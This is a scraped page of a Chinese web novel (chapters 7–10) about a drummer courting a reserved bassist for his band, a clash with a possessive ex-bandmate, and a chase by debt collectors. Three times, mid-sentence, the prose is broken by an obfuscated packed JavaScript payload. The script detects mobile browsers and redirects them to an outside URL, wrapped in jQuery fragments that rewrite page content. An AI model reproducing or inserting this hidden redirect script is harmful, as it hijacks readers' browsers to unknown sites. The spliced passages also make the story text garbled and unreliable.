《和前男友上恋综后》 7. 再谈记忆 三旬不仅仅是一家酒吧,更像是一个LiveHouse。店主磊哥年轻时是个摇滚青年,组的乐队在这一片小有名气,乐队解散后,他便开了这家店,每周都会邀请几支乐队来此演出。 许惊岁将摩托停在门口,长腿一支,抬手摘下了头盔。 天气炎热,头发都被汗湿了几缕,他随意地向后捋了捋,迈步走进三旬。 “祝响!” 一道声音响起,祝响循声回头,一时呆了下。 映入眼帘的这张脸漂亮又耀眼,张扬得甚至有些攻击性。 肤色很白,桃花眼,眼尾微微上挑,鼻尖缀着一颗小痣,唇角勾着,显得有几分懒散。 眉钉和唇钉很是惹眼,耳朵上还戴了好几个耳钉,极光蓝的耳骨钉在灯光下闪烁。 许惊岁懒懒地往沙发上一坐,看向祝响,见后者一脸呆滞,便挑了下眉:“怎么了?” “我算是理解他们为什么叫你许仙儿了。”祝响回过神。他上次见许惊岁还是一个月前,这么久没见,对方的头发长了些,乍一看像是狼尾,衬得更加惹眼。 ‘许仙儿’是那些乐队的朋友给许惊岁起的绰号,叫来叫去便传来了。 之所以叫这个有两原因,一是许惊岁的记忆力跟神仙似的,不管多难的谱子,看个两三眼就记住了。另一个原因则是这张脸,据说西城区乐队的gay,十个里得有八个喜欢他。 本就是随便叫着玩的,许惊岁倒也不在意,他看着祝响,悠悠道:“找我来有事?” “哦哦,对。”祝响突然想起来正事,“你那乐队不是找贝斯手呢吗,我给你物色了个好人选。” 上个月贝斯手闻穆与许惊岁不和,两人总是因创作理念发生争执。当然这只是一个原因,更多的则是他实在无法忍受闻穆的骚扰。 哪怕拒绝了很多次,闻穆依旧像一条赶不走的狗,一看见他就流露出令人恶心的眼神。 “快看!”祝响说。 许惊岁循声看去。舞台上灯光昏暗,周遭环境嘈杂,但台上的人很专注,好似有一层隐形的屏风挡在他与喧嚣人群之间。 背景屏幕是一团不断燃烧起来的火焰,前奏响起,背景音里的鼓声由缓切急,一步步将节奏推至高潮,主唱吉他扫弦,紧接着歌声响起,现场气氛顿时被点燃。 许惊岁好整以暇的托腮看着,这首歌算是跑场必备几大曲目之一,歌中的bassline很出彩。 贝斯弦少且粗,声色比起吉他要低沉,且更难操作,贝斯初入门尚算简单,但能将贝斯玩得好,要下很大的苦功夫,这也是许惊岁一直寻觅一个好的贝斯手无果的原因。 一个好的贝斯手,于一个乐队而言简直是宝藏! 这首歌中贝斯的律动感极强,含有大量的bassslap,很考验表演者的水准,能够完整演绎出来的贝斯手最起码得有个四五年的功底,因此他非常期待台上那位贝斯手的表现。 许惊岁手指在桌面上随着节奏轻点,伴着主唱的声音,低声哼唱着,同时心中倒数着拍子,五、四、三、二、一,就是现在! 一段贝斯Slap衔接而上,低沉厚实的声色顿时抓耳,男生左手点弦的同时右手拇指进行演奏,上下扫击一弦发出闷音,短短数秒,声色又变得锐利轻快。 许惊岁的一颗心在胸腔狂跳。接连七八个段落的slap,男生操作的游刃有余,一张脸上没什么表情,看起来很淡然,但许惊岁却通过这段演奏明白此人的贝斯绝不能简单用“很好”二字来形容。 他眸光专注的看去,少年身影清瘦颀长,却好像蕴含着无限的能量,将在场的所有人都带入了他的音乐世界。 一曲结束,场下顿时响起一阵欢呼。 男生或许是察觉到了目光,抬头看了过来。 冷冽漠然的眼神撞上炙热直白的眼神,电光火石间,许惊岁觉得呼吸都错了一拍。 后来,许惊岁曾听过一句话:人活着就是为了那么几个瞬间。 他想如果这么说起来,与林此宵的初见绝对算毕生难忘的一个瞬间。 * 许惊岁颇为感兴趣的望着那个男生,开口向祝响打听:“你认识他?” 这家酒吧祝响是常客,隔山差五就会往这跑一趟,新来了哪个好看的驻唱或哪个跳钢管舞的身材绝佳之类的消息比谁都灵通。 “他叫林此宵。”祝响笑着说:“新来的兼职。才来了一周吧,但名气不小,人长得挺帅,光站在那都有不少女生去看。” “我听老周说他贝斯弹得一绝,前几天还有乐队的人要过来挖他,但是都被拒绝了,性格倒是挺怪的。能不能拿下就看你了。” 许惊岁闻言倒是挺感兴趣,看了眼,男生背着贝斯下了台,钢管舞曲响起,场上再度沸腾起来,可对他而言,却好像少了点什么意思。 祝响正看舞蹈看得起劲,余光瞥见许惊岁起身,他转过头问:“哎,你干嘛去?” “我好像找到了心中的贝斯手。”许惊岁笑了笑。 * 酒吧后台。 “小林,有你的花。” 林此宵正将贝斯放进箱包,闻言手上动作顿了下,抬头看去,是一大捧碎冰蓝玫瑰,开得正好,很是璀璨。他皱了皱眉,问:“琳姐,谁送的?” 琳姐摇了摇头,说:“我之前也没见过,是个长得挺帅的男孩,看着与你差不多大。” 在这里工作,被献殷勤是常有的事,自打林此宵来的这一周,光是想约他吃饭的都有好几个,更有甚者,直接托人问睡一晚多少钱。不过她从没见林此宵收过东西,更别提答应谁。 果然,林此宵看着她,以一贯的客气疏离,问道:“请问他走了吗?没走的麻烦帮我退回去吧,谢谢琳姐。” 话音刚落,从门口传来一道轻飘飘的男声,听着有些散漫不羁,“不喜欢就扔了吧。” 林此宵循声看去,只见一个面生的漂亮男生站在门口,嘴角带着淡淡的笑,乍一看给人一种很乖的错觉。 那双很标准的桃花眼毫无顾忌地直盯着他,眼尾轻飘飘的上扬。 许惊岁同样打量着对面的人,眉眼轮廓很深邃,瞳仁黑白分明,眼尾狭长,单眼皮,看着极富攻击性,身上的深色短袖洗得发灰。 一张冷峻的脸上没什么表情,显得很正经,那一刹那,一个莫名的念头腾地浮上他的心头:对方“正经”的假面之下会是什么样? 他有点迫不及待地想要去窥探。 两道视线在空中相撞,一道冷冽一道炽热。 林此宵率先移开目光,轻轻蹙了下眉。虽然他表情很冷很劝退人,但依旧往前走去,琳姐见他过来忙将花递还给他,顺便寻了个借口开溜。 许惊岁接过花,拨弄了几下,垂眸道:“不好看吗?花店老板说这个最好看了。”他语气很认真,听起来像是还有几分心意被拒绝的低落。 他抬起头,眼神有些无辜地盯着林此宵,丝毫不为所挫地问道:“你喜欢什么花?郁金香还是百合?我下次送你。” 林此宵眼皮薄唇薄,半抬着眼看人时很冷,他像拒绝每一个讨好者一样,不假思索地冷漠道:“不用。” 许惊岁目光直白地盯着他,眨了眨眼睛,表情纯真无害,说:“看来他们说的没错。” 对上对方迷茫的神情,他顺势而上,凑近到林此宵身边,带着调侃的语气小声道:“你确实有点难追呢。” 林此宵愣了下,饶是他猜到了这人多半的心思,但也没想到竟然这么直白地说了出来。 暧昧的气息荡开在耳边,耳尖像是被灼烧一般开始发热。男生的香水味道如他本人一样带着浓烈的攻击性,顿时向他袭来。 林此宵下意识地后撤开,心里顿时冒出危险预警,他转过身拎起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181093|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱包就要离开,却在擦肩而过的那瞬,手腕被人牢牢抓住。 他脚步定住,转头看向男生,表情看起来像是很讨厌别人的接触,他拧着眉头沉声道:“松手!” 许惊岁不但没放,反而食指点了点他的腕骨,很认真地问:“你是排斥同性恋吗?” 林此宵倒没有这方面的歧视,不过他自认为不会喜欢同性。 “我只是不喜欢男生。”他说完甩开了男生的桎梏。 “那你跟女生交往过?”许惊岁偏着脑袋虔诚发问。 林此宵愣了下,见他沉默不语,许惊岁了然,他眼神直勾勾地盯着林此宵,像是在审视合心意的猎物,淡淡道:“既然如此,你怎么知道你不会喜欢我呢?” 他的眼神太过不怀好意,林此宵皱着眉头道:“我对你没兴趣,你别白费功夫了。” 话音落下,他本以为这人会失落或者难堪,谁料对方竟然笑了起来,透着一些捉弄得逞的愉悦笑意。 许惊岁笑眼弯成了新月,眸光在对方脸上流转,看见对方正经脸色下悄然泛红的耳垂,愉快地笑了笑,轻佻散漫的语气道:“你这人可真不经逗。” “其实我送你这束花不是为了追求你。”他表情很认真地道:“而是对你的演奏表示赞赏。” 他后知后觉还没有进行自我介绍,便伸出手,友好道:“你好,我叫许惊岁,是极昼乐队的鼓手,我的乐队现在缺一个贝斯手。” 他顿了下,很诚恳地看着林此宵,发出邀请:“请问你愿意来我的乐队吗?” 林此宵怔了半秒,对面人的神情并不像在开玩笑。 极昼?很熟悉的名字,他盯着许惊岁的脸想了几秒,突然想起来曾听齐休说过,这个乐队的鼓手是个很有魅力的人。 魅力这词从眼高于天的齐休嘴里说出来无异于很高级别的褒奖,林此宵那时将信将疑地打开了齐休发来的视频。 视频开头,许惊岁穿了件黑色无袖背心,修长的肩颈线条宛如优雅天鹅,本捆在手腕上的乐队周边丝带被他系在脖子上,像一条黑色的choker。 他姿态慵懒地举起手,一根鼓棒在他的食指跟中指间转动,随着吉他声落,鼓棒落下依次敲响军鼓、吊镲。 他的四肢匀称修长,尤其是胳膊因为常年锻炼,用力打鼓时绷起的肌肉线条很好看,他头随着节奏轻轻摆动,似乎察觉到了镜头,眼神直白锋利地扫视过来,嘴角却带着漫不经心的笑,露出颗小虎牙。 林此宵最先注意到的却是他胳膊上的纹身图案,像一颗坠落的星。 他记得齐休当时是这么评价许惊岁的:“这个鼓手的鼓,是蛊惑人心的蛊。” 林此宵承认许惊岁或许是个很棒的鼓手、很棒的乐队队长,但并不一定是适合他的同伴。更何况,基于以往的那些事,他几乎放弃了和任何人组乐队的想法。 他几乎想都没想就开口拒绝:“对不起。” 许惊岁盯着他,林此宵这人想让他知难而退,那他偏要迎难而上。 “你可以再思考几天,不用急着给我答复。” 沉默了数秒后,林此宵突然问:“为什么选择我?” 许惊岁脸色有些疑惑,没明白他为什么这么问。 他随心所欲惯了,做事情几乎很少去探究为什么要这样做以及这么做的后果,他往往都是想去做便就去做了,是个十足的感性主义者,如今却要面对一个理性主义者的提问。 他很短的思索,一如既往的直白:“因为我对你很感兴趣。” “不好意思,你找错人了,我没有组乐队的想法。”林此宵说完拎着包,头也不回地离开。 虽然在来之前就考虑到了被拒绝的概率,但许惊岁属实没想到竟这么快,他盯着林此宵的背影,却并不觉得沮丧,反倒觉得挺有意思。 一个优秀的猎物往往更能激起猎手的强烈胜负欲。 8. 再谈记忆 下午六点,许惊岁刚从三旬走出来,离老远就看见了张熟悉面孔,他眼都没抬,直接走到车旁,解锁、拉开车门、上车,动作一气呵成。 可在关车门时,却被打断。 许惊岁冷脸看向拉着门的那人,声音带着明显的不悦:“闻穆,松手。” 闻穆置若罔闻,他的眼底带着青黑,看起来像是很久没有好好休息了,青色的胡茬冒出也没有修剪,显得很憔悴狼狈,他不断低声央求道:“小岁,你听我解释好吗?五分钟,你就给我五分钟。” 许惊岁一来不想跟他在这干耗着,纯属浪费时间,二来他也想听听这人还能扯出什么可笑的话来,便下了车,随着他来到巷口。 “你只有五分钟时间。”许惊岁冷冷道,同时拿出手机开始计数。 “小岁,你现在这样子,我觉得特别陌生。”闻穆紧盯着他,说:“我真的不是故意的,我那天真的是喝多了,是她先主动的,都是男人你也明白。” “我不明白。”许惊岁嫌恶地打断他:“一个男人最无能的表现就是喜欢甩锅给女人。” “而且你也犯不着跟我解释什么,我们本来也没有什么关系。” 闻穆有些不敢置信自己听到的话,他嘲讽地笑了下,“小岁,我们认识三年,你胃病发作是我给你买的药,你没吃饭的时候我去送的饭,为了你喜欢的东西我攒了好久的钱,我这么喜欢你,你说我们没有关系?” 许惊岁觉得挺没意思的。刚开始接触那会,闻穆温润有礼,惯会察言观色,很是照顾他人情绪,与他相处起来倒还轻松。 闻穆的贝斯弹得不错,虽比不上林此宵那般,但在一众人中也算出色。两人在歌曲创作上也很默契,有时灵感的碰撞会让人误以为是soulmate,因此许惊岁对他是有过一丁点朋友之间的好感,但也只到好感为止。 因为后来随着相处的不断加深,他发现闻穆对他的控制欲极强,甚至别人只是同他说几句话,闻穆就会醋意大发,并且还喜欢打着“为你好”的名义,惯会在潜移默化中贬低他人、抬高自己,像一条具有美丽花纹的毒蛇,一点点缠住你,将你勒到窒息,成为他的附属品。 他闻言低笑,眼神锋利直白,像一把无形的剑,直刺向闻穆,后者顿时噤声,“闻穆,药钱饭钱我都转给你了,并且我从来没有要求你这么去做。‘喜欢’从来不是你道德绑架他人的理由。” “对不起…”闻穆嗫嚅道:“我没有想要道德绑架你,我是真心喜欢你,从我见到你的第一眼,我就喜欢你了。” 许惊岁嗤笑了声,像听到什么可笑的笑话,他沉声道:“你口口声声说真心喜欢我,但是背地里跟别人上床,你的真心可真廉价,从你这种人口中说出的喜欢,只令我觉得恶心。” 许惊岁看他的眼神像在看垃圾,提醒:“还有三十秒。” …… 林此宵走到公交站台才忽然想起自己的钥匙落在后台,便又往回赶去。 路过巷口的小道时,他听到了有人在说话,离得太远说的什么听不清楚,但依稀捕捉到“喜欢”“上床”的字眼,声音有些熟悉,他正迈步要走,视线内两个男生却突然抱在了一起,更准确说,是一个人没动,另一个人紧紧抱住他。 林此宵脚步顿了下,眯了眯眼睛,赫然发现站着没动的那人正是半个小时前还口口声声说对自己很感兴趣的那位。 果然,是个对待感情很不认真的人。林此宵眸光极深的扫了眼,冷冷收回视线离开。 许惊岁头一次觉得一个怀抱会令他觉得如此恶心,他表情很厌恶,冷着声道:“如果你再不松手的话,我会让你这辈子都再弹不了贝斯。” 闻穆闻言松开了手,低垂下头:“对不起,都是我的错,我真的不知道该怎么做才能让你原谅我,可我真的只想再跟你一起在台上唱歌,能够默默看着你就好。” “闻穆,不管你信不信,我真的从头到尾都没有喜欢过你。”手机倒计时截止发出滴滴的声响,许惊岁将手机揣回口袋,面无表情的看着他:“贝斯手我已经有了心仪的新人选,我不想再看见你了。”他说完径直从闻穆身边离开。 闻穆盯着他的背影,才发觉自己似乎从来没有弄懂过许惊岁,他看着放荡不羁,但是对感情极为苛刻,看似没有什么原则,但一旦触犯到他的底线,就再也无法挽回。 一连三天,许惊岁除了泡在排练室写歌练鼓,就是待在三旬。 祝响笑着调侃他怕不是看上了谁,才跑得这么殷勤,许惊岁闻言笑而不语。不过这三天他都没瞧见林此宵,问了琳姐后,对方也不太清楚,只是说林此宵请了假,但没说为什么请假,他了然地点点头。 再次碰见林此宵是在一家咖啡店内。 许惊岁刚去机场接完祝响。两人打小就认识,从幼儿园小班到小学、初中、高中,就连大学都在一个大学城,所以祝响常打趣道:这可是上天赐的大好缘分啊,要不你就委屈委屈,跟我凑一对得了。 他这话就是纯开玩笑,就算祝响被掰弯了,两人也不会在一起,毕竟于两人而言,友情比爱情更珍贵持久。 飞机延误,落地时已经过了午饭点。祝响吃了机餐,暂时不饿,便打算找家咖啡店坐着聊会天。 一路上祝响都在跟许惊岁吐槽这趟欧洲之旅,好不容易找到的中餐厅里面的饭有多难吃,走到前台点单时,祝响自然而然地搂住许惊岁的肩膀。 许惊岁边笑着听他说,边看了眼饮品单,等他话音结束,报出:“一杯卡布奇诺跟一杯焦糖玛奇朵。” 两人姿态亲昵,祝响站在许惊岁的身边,笑嘻嘻道:“你怎么知道我想喝焦糖玛奇朵!天,我们也太心有灵犀了,sweetheart!” 一会小少爷、一会许仙儿、一会sweetheart的,真是不知道这人什么时候能改掉随口乱叫人的毛病。考虑到场合,许惊岁忍住了翻他白眼的冲动。 “好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181094|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一杯卡布奇诺跟一杯焦糖玛奇朵。”清冷熟悉的声音在耳边响起。 许惊岁惊讶地抬起头,正对上一双黑曜石般的眼眸,林此宵戴了个黑色的帽子,帽檐很长几乎遮住了上半张脸,确实很难一眼认出。 “是你?”许惊岁反应过来,一双眼睛亮了下,兴致盎然地盯着他。 林此宵眸光平淡,他很早就发现了许惊岁以及他旁边的男生。 这次这个明显与上次那人不是同一人,刚才那声亲密称呼还回荡耳边,不过几天时间,身边竟然就换了人? “感兴趣”或许只是他用来搭讪的拙劣手法罢了,看来他不光对待感情不认真,还是个玩弄人心的高手! “请问您还有什么需要吗?”林此宵不再看他,语调很平地问。 祝响好奇地顺着许惊岁的目光看去,脸上写满了疑惑,“怎么了?” “没什么,你先去找个地方坐下吧,我等会拿过去。”许惊岁拍了拍他的肩膀示意。 祝响点了点头,“喔……好的。” 互动全然落到林此宵的眼中。 “你这几天怎么不去三旬?”许惊岁看着他正在制作的身影,出声询问。 林此宵前天淋了雨,发了热,烧退了后还有些感冒后遗症,嗓音沙哑跟鼻音很重,所以请了几天假,不过这些没有必要跟许惊岁解释。 见他沉默,许惊岁兴致上头,挑了挑眉头,手撑在柜台,紧盯着他,自顾自地说:“我突然想起来还没有问你要联系方式呢。” 问自己要联系方式做什么?下一个备胎吗?林此宵在心里嘲讽,眼里的嫌恶又深了几分。 “顾客,您的饮品好了,请问是现在喝还是打包?”林此宵将两杯饮品放到柜台上,没看他,冷漠疏离道。 许惊岁抓住他放下饮品的手,欠身抬眸仰视他,问:“你很讨厌我是吗?” 两人交握的手被饮品挡住,林此宵冷冷看向许惊岁,用力挣开,丝毫不客气的嘲讽道:“我只是厌恶玩弄感情的人。” 玩弄感情?是说自己吗?许惊岁愣了两秒,忽然笑了笑,眸光直白地盯着林此宵,揶揄道:“没看出来,你还挺纯情。” 林此宵一哽,看见许惊岁眼里浓烈的捉弄意味,后者不以为然地笑了笑,问:“你几点下班?” 见林此宵不理他,许惊岁扭头跟另一位女生店员搭起了话,他的长相确实很讨喜,没有人会拒绝一个能言善道的帅哥,几句话的功夫,他就知道了问题的答案,许惊岁道了声谢后顺便又点了一杯焦糖玛奇朵。 “下午六点?”他低头看了眼手表,指针刻度还有两格,“还有两个小时。” 他拿起两杯做好的饮品,转身要走,女店员却出声喊住了他:“先生,您还有一杯焦糖玛奇朵。” 许惊岁笑了下,掠了眼林此宵,道:“给他。” 林此宵疑惑的皱眉,就听见许惊岁眼角带笑,散漫道:“冷脸怪就该多吃点甜食。” 9. 再谈记忆 傍晚六点,金色的霞光透过云层,给天空染上一层沉甸甸的橘,像打翻的调色板,由橘色不断蔓延、渐变成粉红。 林此宵看了眼门外,视线内并没有人在等待。 早在一个小时之前,许惊岁就跟那个男孩一同离开了。 林此宵换下工作服,拿着包正要离开。意外获赠饮品一杯的女店员同事友好地跟他道了再见,他点了点头,淡淡笑了下回应。 走出去没几步,他就看见了慵懒地靠在电线杆子上的许惊岁,他像是在守株待兔,而自己就是那个撞上去的兔子。 许惊岁嘴里叼着根棒棒糖,见到林此宵后露出有些得意的笑,取出糖在手中晃着,说:“我还以为你会提前跑了。” 那根糖是橘子味的,像天边的云,林此宵心想。 许惊岁向他走近了两步,弯着腰紧盯着他,林此宵戴着口罩,看不出脸上表情,但能想象到口罩后面的那张bookface。 四目相对,对方眼神里的挑逗意味太过赤/裸/裸,林此宵眼睫低垂,偏开视线,故意不看他。 许惊岁察觉到他的冷漠,目光下移,突然伸出手,食指指尖触到林此宵的山根,林此宵愣神的功夫,指尖顺着高挺鼻梁滑下,将口罩挑开。 林此宵后撤一步,皱起眉头,表情有些不悦,沉声问:“你到底要做什么?” “我长得很丑吗?”许惊岁眨了眨眼睛,表情有些无辜。 林此宵语噎了下,闻言转头看向许惊岁。他长得自然跟丑这个字没有半点关系,相反,他长得很好看,是在人群中一眼就能注意到的长相。 肤色白皙,一双深情眼,鼻尖偏左侧有个小痣,像白色宣纸上误洒的墨点,唇色总是殷红,笑起来还会有颗尖尖的小虎牙。 他正认真思索着,忽然对上许惊岁眼中的笑意,惊觉自己似乎中了他言语的圈套,忙不迭地收回视线。 “不丑?”许惊岁盯着他,一颗虎牙露出,有些俏皮,他说:“那你为什么不看我?” 林此宵嘴角紧绷着,看不出喜怒,许惊岁噙着笑,说:“有没有人跟你说过,你的声音很好听?” 他用棒棒糖轻点着下嘴唇,本就红润的唇色添了几分水光,他眸光打量着林此宵,像在认真思索,说:“虽然贝斯主唱不多,但是你或许可以来极昼试试看。” 林此宵蹙着眉,倘若换个人如此死缠烂打他早就厌烦透顶,可不知道怎么回事,他竟好脾气地看着许惊岁,清冷嗓音问道:“你找我如果是为了乐队的事的话,我的答复是不加入。可以了吗?” 许惊岁得寸进尺地问:“那倘若我找你是为了别的呢?” 林此宵脑海里突然浮现出许惊岁跟另两个人在一起时的画面,难不成真的要拿自己当备胎? 他眉头皱得更深,语调也更冷,“那你更是找错人了。”他说完没再看许惊岁,径直往前走。 许惊岁却拦在他的身前,远远看去像是要给他一个大大的拥抱,他笑着:“喂,你该不会是怕了吧?” 林此宵反问:“我有什么好怕的?” 许惊岁站在霞光里,发丝泛着金色的光晕,像希腊神话里的小王子,看向林此宵的眼睛在阳光下是很浅的琥珀色,他笃定自信地道:“怕你会喜欢上我。” 如此直白的话从他嘴里轻而易举地说出来。林此宵呼吸顿了下,竟错过了第一时间反驳的时机,过了两秒,他才冷着脸说:“你未免想太多了。” 自己怎么可能喜欢上这么一个人?多情花心、诡计多端、胡搅蛮缠。 夕阳将林此宵的影子拉得老长,许惊岁踩着他的影子,跟随着他。走了几步,林此宵突然站定,低头追影子的许惊岁没察觉过来,险些撞上他的后背。 林此宵转过身,冷着脸问:“你跟着我做什么?” 许惊岁笑得有些无赖,“这路这么宽,怎么就成我跟着你了?” 再加一条:强词夺理。林此宵绷了绷嘴角,决心不会再同他说一句话。 脚步停在公交站台。正是下班高峰,站台聚集了不少人,许惊岁跟林此宵如两条游鱼,跃进拥挤人群,脚步还没来得及站稳,车子就已经关门发动。 许惊岁站定在林此宵几步远处,林此宵看了他一眼,后者正望向窗外专心的赏景,看起来倒真像只是“恰巧”顺路。他刚要转过头,许惊岁像是察觉到了视线,转过脸朝着林此宵眯着眼睛笑了笑。 偷看被抓包的林此宵目无表情地转过头。 公交车穿过大街小巷,驶过转弯路口,出于惯性使然,所有站着的人都随之摇晃。一个身形魁梧的大哥手滑没抓住把手,顿时如雪球滚落之势,接连几人被撞得向前栽去,其中之一就有许惊岁。 他几乎是扑向了前面的人,他眼疾手快地伸手抱住,勉强借力站稳,抬起头视线正好对上林此宵的喉结。 喉结上下滚动了下,许惊岁突然觉得很想亲一下。 “你抱够了吗?”一道清冷嗓音从头降落。 许惊岁松开手,对上那张冷得不能再冷的脸。林此宵身上的味道很好闻,有柑橘的清新果香,又带些雪后空气中的冷冽,像极了他这个人。 他刚想开口说些什么,车辆的到站提醒响起,林此宵没看他,径直走到后车门等候下车。许惊岁想了想,跟了上去。 林此宵身高腿长,似乎想有意甩开许惊岁,因此步子迈得很大,许惊岁跟了两步懒得跟,慢悠悠地走着,散漫地唤了声:“喂,林此宵,你走慢点……” 只见不远处林此宵突然停下了脚步,紧接着开始快步往回走。 许惊岁看着向自己不断走近的林此宵,疑惑地皱了皱眉头,心道:这人怎么突然间这么顺自己意了? 他刚要出声询问就被对方抓住了手腕,对方的手掌宽大,指腹带着厚茧,不由分说的拉着一同往来时路跑去。 身后隐隐约约传来有人追来的沉重脚步声。 许惊岁看了眼自己的手腕,目光又移到正拉着他跑的林此宵的背影,少年的衣角被风吹起,迎着落日余晖,两人奔跑在日落大道,像极了一对亡命鸳鸯。 许惊岁很喜欢在一些事情上寻求刺激感。无论是赛车还是蹦极,越是在他人眼中看来危险的事情,他越喜欢,最开始只是为了博得父母的关心,久而久之,就成了习惯。 剧烈跳动的心脏才是他活着的证明。 此刻的这种感觉史无前例,强烈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181095|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激着许惊岁的大脑神经,他快步跟上林此宵的步伐。 林此宵似乎对这边很熟悉,三绕两绕躲进了个巷子里。严格来说不算是巷子,只是两栋楼之间不足一米的狭小空隙,两人一同站进去时几乎面对面相贴。 离得太近,林此宵身上的味道萦绕在他鼻尖,不像是香水味,更像是洗衣液的味道。 许惊岁喘了两口气,平复下呼吸后,看向林此宵。后者脸上罕见地露出一种类似于惊慌着急的表情,他顿时觉得很新奇。 他忽然笑了笑,压低了嗓音道:“林此宵,你该不会是得罪了人,被人追杀吧?” 林此宵冷着脸看他,对方的眼睛亮晶晶的,脸上挂着散漫不走心的笑,将凝重的氛围都淡化了许多,不知怎的,他也莫名的在心里也稍稍卸了口气。 许惊岁盯着他,调侃道:“你的仇家万一以为咱两是一对,把我也给算上了,那我这可就冤大了。” 他话音刚落,一只手突然捂住他的嘴,掌心温热贴上他的唇。林此宵神色警惕,靠近许惊岁的耳边,“嘘”了一声示意他噤声。 滚烫的热气擦过他的耳廓,许惊岁像是被点了穴,后脊突然一片酥麻,像炸开了蚂蚁窝,他迟钝地抬头看向林此宵。 借着视角盲区以及视线昏暗,那些人似乎并没有发现他们,颇为气急败坏地骂骂咧咧了几句—— “威哥,你没看错吧?” “准没错!那小兔崽子跟那龟孙给的照片上的人长得一模一样。” “小兔崽子跑得还挺快,老子就不信了,跑得了和尚跑不了庙。” “威哥,那龟孙不会糊弄咱的吧,住在这种破旧老学区房里能有钱吗?” “他不是说那小兔崽子的爹有钱吗?是什么集团老板来着。” “那小兔崽子会不会不认他舅舅啊?” “我管他认不认,欠债还钱天经地义!小兔崽子要是不还,那龟孙的手就别想留着!” 寻觅无果,几人拎着家伙向另一个方向走去,脚步声渐渐远离。林此宵警惕的神情才稍稍松下,侧过脸垂眸看向许惊岁,两道目光在昏暗空间猛烈相撞。 林此宵率先反应过来,连忙收回了手,唇相贴时的柔软触感似乎还在掌心没消散,他不自觉地握了握拳头。 在这一隅天地,两人的呼吸声轻重交错,缠在一起,分不清是谁的。 过了小会,林此宵确定外面确实安全后先行走了出去,而后转头看向许惊岁,低声道:“可以出来了。” 许惊岁应了一声,眼尖地发现林此宵的耳垂泛着异样的红,但他没多想,猜测或许是因为剧烈运动。 “所以你能解释一下吗?危险分子?”许惊岁走出来后,打趣他。 林此宵抿了抿唇,脸色不是很好看,冷漠道:“跟你无关。” “与我无关?咱两刚才也算是生死之交了吧?” 林此宵沉沉地看了他一会,开口道:“对不起。” 本该由他一个人面对的事情,却意外将许惊岁也卷了进来。 许惊岁愣了愣,正不知如何作答,突然瞥见不远处冒出个人影,紧接着那边传来一声划破沉寂的高喝:“快来啊!人在那儿呢!” 10. 再谈记忆 真是糟糕透顶!今天出门是没有看黄历还是狮子座最近水逆? 抓着林此宵狂奔的许惊岁如是心想。 才刚跑出去不到三分钟,两人的脚步被迫停下,许惊岁看着面前不断逼近的数人,沉重的压迫感扑面而来。 领头那人是个光头,头顶还有条约莫七八厘米长的刀疤,露出的胳膊上纹着一大片的青虎,三角眼,眼露凶光,嘴里叼着根烟。 他的目光在许惊岁身上落了下,又移到林此宵的脸上,抬了抬手,旁边几个小弟立刻围上去抓住林此宵。 光头将烟扔到地上,落脚用力碾了碾,抬步走了过来,拍了拍林此宵的脸,咧嘴露出一口黄牙,笑着道:“跑啊,不是挺能跑的吗?” “知道我找你干嘛的吗?”光头从口袋里拿出手机,打开了一段录像,举在林此宵面前。 里面是个三十多岁的男人,对着镜头不断哀求:“威哥,你饶了我,我求求你了,钱我会给你的,我妹婿他有钱,耀林集团你知道的吧?就是他的,我侄子可是他亲儿子,你去问他要钱,他有钱……” 视频播放到这戛然而止。 光头说:“我也不想来找你,可你舅舅欠的钱找不到人还,他指名道姓说你有钱,让我来找你,喏,照片都给我了。” 林此宵眸光皱缩,愣了半秒,沉沉道:“我没钱。” “没钱?”光头脸上横肉冷笑,“这不巧了,你舅舅也是这么说,那我该找谁?听说他还有个六十多岁的老妈?” 林此宵猛地抬起头,神情又急又慌,眸光狠厉地盯着光头,冷声道:“你别找我外婆!” “行,我也不想为难老人家。可这钱总该要有钱人还不是?我也只是个□□的,现在生意难做啊。” “这样吧,你老子不是什么有钱人吗?你给他打个电话送点钱来,今天这事就算了了。” 林此宵嘴角紧绷,“我没他电话。” 光头像是听到什么好笑的话,冷笑了几声,“你当儿子的,没有你老子电话?” “老子不生气,你他妈的是不是真当老子好糊弄?”他说完重重一拳打到林此宵的腹部,后者被牢牢架住,压根没法伸出手来格挡,只能任由拳头落下。 那力道光是听着都觉得肉疼,许惊岁皱紧了眉头,看见林此宵疼得腰弯成了虾米,尽管在极力忍耐还是发出了一声很低的倒吸凉气声。他的下眼睑连带着眼尾都泛着红,因剧烈疼痛而溢出的生理性泪水让他的眼眶看起来湿湿的,像一件精致的易碎品。 “我再给你一次机会,要么让你老子来送钱,要么让你舅舅出来。”名为威哥的男人力道不轻不重地拍了拍林此宵的脸。 